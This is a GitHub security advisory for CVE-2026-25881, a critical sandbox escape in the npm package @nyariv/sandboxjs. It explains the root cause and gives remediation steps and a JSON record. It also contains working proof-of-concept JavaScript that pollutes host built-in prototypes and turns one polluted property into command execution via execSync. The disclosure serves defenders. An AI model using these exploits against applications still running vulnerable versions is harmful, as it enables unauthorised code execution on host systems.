GHSA-WW7G-4GWX-M7WJ
Vulnerability from github – Published: 2026-02-10 00:24 – Updated: 2026-02-10 02:56Summary
A sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the isGlobal protection flag through array literal intermediaries. When a global prototype reference (e.g., Map.prototype, Set.prototype) is placed into an array and retrieved, the isGlobal taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: execSync(obj.cmd)).
Details
Root Cause:
The sandbox implements a protection mechanism using the isGlobal flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.
Vulnerable Code Path src/executor.ts(L559-L571):
addOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) => {
const items = (b as LispItem[])
.map((item) => {
if (item instanceof SpreadArray) {
return [...item.item];
} else {
return item;
}
})
.flat()
.map((item) => valueOrProp(item, context)); // <- isGlobal flag lost here
done(undefined, items);
});
Exploitation Flow:
Sandboxed code: const m=[Map.prototype][0]
↓
Array creation: isGlobal taint stripped via valueOrProp()
↓
Prototype mutation: m.cmd='id' (host prototype polluted)
↓
Host-side impact: new Map().cmd === 'id' (persistent)
↓
RCE (application-dependent): host code calls execSync(obj.cmd)
Protection Bypass Location src/utils.ts(L380-L385):
set(key: string, val: unknown) {
// ...
if (prop.isGlobal) { // <- This check is bypassed
throw new SandboxError(`Cannot override global variable '${key}'`);
}
(prop.context as any)[prop.prop] = val;
return prop;
}
When the prototype is accessed via array retrieval, the isGlobal flag is no longer set, so this protection is never triggered.
PoC
Prototype pollution via array intermediary:
const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();
sandbox.compile(`
const arr=[Map.prototype];
const p=arr[0];
p.polluted='pwned';
return 'done';
`)().run();
console.log('polluted' in ({}), new Map().polluted);
Observed output: false pwned
Overwrite Set.prototype.has:
const Sandbox = require('@nyariv/sandboxjs').default;
const sandbox = new Sandbox();
sandbox.compile(`
const s=[Set.prototype][0];
s.has=isFinite;
return 'done';
`)().run();
console.log('has overwritten:', Set.prototype.has === isFinite);
Observed output: has overwritten: true
RCE via host gadget (prototype pollution -> execSync):
const Sandbox = require('@nyariv/sandboxjs').default;
const { execSync } = require('child_process');
const sandbox = new Sandbox();
sandbox.compile(`
const m=[Map.prototype][0];
m.cmd='id';
return 'done';
`)().run();
const obj = new Map();
const out = execSync(obj.cmd, { encoding: 'utf8' }).trim();
console.log(out);
Observed output: uid=501(user) gid=20(staff) groups=20(staff),...
Impact
This is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., Map.prototype, Set.prototype), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing obj.cmd to child_process.execSync).
Affected Systems: any application using @nyariv/sandboxjs to execute untrusted JavaScript.
Remediation
- Preserve
isGlobalprotection across array/object literal creation (do not unwrapPropinto raw values in a way that drops the global/prototype taint). - Add a hard block on writes to built-in prototypes (e.g.,
Map.prototype,Set.prototype, etc.) even if they are obtained indirectly through literals. - Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.30"
},
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.31"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25881"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-10T00:24:53Z",
"nvd_published_at": "2026-02-09T22:16:03Z",
"severity": "CRITICAL"
},
"details": "### Summary\nA sandbox escape vulnerability allows sandboxed code to mutate host built-in prototypes by laundering the `isGlobal` protection flag through array literal intermediaries. When a global prototype reference (e.g., `Map.prototype`, `Set.prototype`) is placed into an array and retrieved, the `isGlobal` taint is stripped, permitting direct prototype mutation from within the sandbox. This results in persistent host-side prototype pollution and may enable RCE in applications that use polluted properties in sensitive sinks (example gadget: `execSync(obj.cmd)`).\n\n### Details\n#### Root Cause:\nThe sandbox implements a protection mechanism using the `isGlobal` flag in the Prop class to prevent modification of global objects and their prototypes. However, this taint tracking is lost when values pass through array/object literal creation.\n\n#### Vulnerable Code Path `src/executor.ts`([L559-L571](https://github.com/nyariv/SandboxJS/blob/main/src/executor.ts#L559-L571)):\n```ts\naddOps(LispType.CreateArray, (exec, done, ticks, a, b: Lisp[], obj, context, scope) =\u003e {\n const items = (b as LispItem[])\n .map((item) =\u003e {\n if (item instanceof SpreadArray) {\n return [...item.item];\n } else {\n return item;\n }\n })\n .flat()\n .map((item) =\u003e valueOrProp(item, context)); // \u003c- isGlobal flag lost here\n done(undefined, items);\n});\n```\n#### Exploitation Flow:\n```txt\nSandboxed code: const m=[Map.prototype][0]\n \u2193\nArray creation: isGlobal taint stripped via valueOrProp()\n \u2193\nPrototype mutation: m.cmd=\u0027id\u0027 (host prototype polluted)\n \u2193\nHost-side impact: new Map().cmd === \u0027id\u0027 (persistent)\n \u2193\nRCE (application-dependent): host code calls execSync(obj.cmd)\n```\n\n#### Protection Bypass Location `src/utils.ts`([L380-L385](https://github.com/nyariv/SandboxJS/blob/main/src/utils.ts#L380-L385)):\n```ts\nset(key: string, val: unknown) {\n // ...\n if (prop.isGlobal) { // \u003c- This check is bypassed\n throw new SandboxError(`Cannot override global variable \u0027${key}\u0027`);\n }\n (prop.context as any)[prop.prop] = val;\n return prop;\n}\n```\nWhen the prototype is accessed via array retrieval, the `isGlobal` flag is no longer set, so this protection is never triggered.\n\n### PoC\n#### Prototype pollution via array intermediary:\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n const arr=[Map.prototype];\n const p=arr[0];\n p.polluted=\u0027pwned\u0027;\n return \u0027done\u0027;\n`)().run();\n\nconsole.log(\u0027polluted\u0027 in ({}), new Map().polluted);\n```\n**Observed output**: `false pwned`\n\n#### Overwrite `Set.prototype.has`:\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n const s=[Set.prototype][0];\n s.has=isFinite;\n return \u0027done\u0027;\n`)().run();\n\nconsole.log(\u0027has overwritten:\u0027, Set.prototype.has === isFinite);\n```\n\n**Observed output**: `has overwritten: true`\n\n#### RCE via host gadget (prototype pollution -\u003e execSync):\n```js\nconst Sandbox = require(\u0027@nyariv/sandboxjs\u0027).default;\nconst { execSync } = require(\u0027child_process\u0027);\nconst sandbox = new Sandbox();\n\nsandbox.compile(`\n const m=[Map.prototype][0];\n m.cmd=\u0027id\u0027;\n return \u0027done\u0027;\n`)().run();\n\nconst obj = new Map();\nconst out = execSync(obj.cmd, { encoding: \u0027utf8\u0027 }).trim();\nconsole.log(out);\n```\n\n**Observed output**: `uid=501(user) gid=20(staff) groups=20(staff),...`\n\n### Impact\nThis is a sandbox escape: untrusted sandboxed code can persistently mutate host built-in prototypes (e.g., `Map.prototype`, `Set.prototype`), breaking isolation and impacting subsequent host execution. RCE is possible in applications that later use attacker-controlled (polluted) properties in sensitive sinks (e.g., passing `obj.cmd` to `child_process.execSync`).\n\n**Affected Systems**: any application using `@nyariv/sandboxjs` to execute untrusted JavaScript.\n\n### Remediation\n- Preserve `isGlobal` protection across array/object literal creation (do not unwrap `Prop` into raw values in a way that drops the global/prototype taint).\n- Add a hard block on writes to built-in prototypes (e.g., `Map.prototype`, `Set.prototype`, etc.) even if they are obtained indirectly through literals.\n- Defense-in-depth: freeze built-in prototypes in the host process before running untrusted code (may be breaking for some consumers).",
"id": "GHSA-ww7g-4gwx-m7wj",
"modified": "2026-02-10T02:56:33Z",
"published": "2026-02-10T00:24:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-ww7g-4gwx-m7wj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25881"
},
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/commit/f369f8db26649f212a6a9a2e7a1624cb2f705b53"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.